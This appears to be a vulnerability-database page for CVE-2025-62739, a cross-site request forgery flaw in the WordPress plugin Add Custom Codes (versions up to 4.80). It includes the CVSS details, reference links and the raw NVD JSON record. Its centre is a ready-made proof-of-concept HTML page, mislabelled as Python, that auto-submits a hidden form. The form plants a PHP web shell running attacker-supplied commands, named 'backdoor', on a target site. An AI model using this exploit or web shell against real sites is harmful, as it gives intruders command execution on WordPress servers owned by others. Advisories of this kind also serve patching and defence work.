CVE-2025-62739

Description

Cross-Site Request Forgery (CSRF) vulnerability in SaifuMak Add Custom Codes add-custom-codes allows Cross Site Request Forgery.This issue affects Add Custom Codes: from n/a through <= 4.80.

CVSS Details

CVSS Score

6.5

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:N

Configurations (Affected Products)

No configuration data available.

WordPress Add Custom Codes插件 <= 4.80

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

<!-- CSRF PoC for CVE-2025-62739 -->
<!-- WordPress Add Custom Codes Plugin <= 4.80 -->
<!DOCTYPE html>
<html>
<head>
    <meta charset="UTF-8">
    <title>CSRF Attack PoC</title>
</head>
<body>
    <h2>CVE-2025-62739 CSRF PoC</h2>
    <p>Add Custom Codes Plugin CSRF Vulnerability</p>
    
    <!-- Auto-submit form to add malicious custom code -->
    <form action="http://target-site.com/wp-admin/admin.php?page=add-custom-codes" method="POST" id="csrfForm">
        <input type="hidden" name="action" value="save_custom_code">
        <input type="hidden" name="code_type" value="php">
        <input type="hidden" name="code_content" value="<?php system($_GET['cmd']); ?>">
        <input type="hidden" name="code_name" value="backdoor">
        <input type="hidden" name="code_location" value="header">
    </form>
    
    <script>
        // Auto-submit when page loads
        document.getElementById('csrfForm').submit();
    </script>
    
    <p>If you see this text, the form submission failed.</p>
</body>
</html>

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2025-62739
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2025-62739
[3] CVE Details https://www.cvedetails.com/cve/CVE-2025-62739/
[4] VulDB https://vuldb.com/cve/CVE-2025-62739
[5] https://patchstack.com/database/Wordpress/Plugin/add-custom-codes/vulnerability/wordpress-add-custom-codes-plugin-4-80-cross-site-request-forgery-csrf-vulnerability?_s_id=cve

Raw JSON Data

JSON

{"cve": {"id": "CVE-2025-62739", "sourceIdentifier": "[email protected]", "published": "2025-12-09T16:18:02.753", "lastModified": "2026-04-27T18:16:26.440", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Cross-Site Request Forgery (CSRF) vulnerability in SaifuMak Add Custom Codes add-custom-codes allows Cross Site Request Forgery.This issue affects Add Custom Codes: from n/a through <= 4.80."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:N", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-352"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Plugin/add-custom-codes/vulnerability/wordpress-add-custom-codes-plugin-4-80-cross-site-request-forgery-csrf-vulnerability?_s_id=cve", "source": "[email protected]"}]}}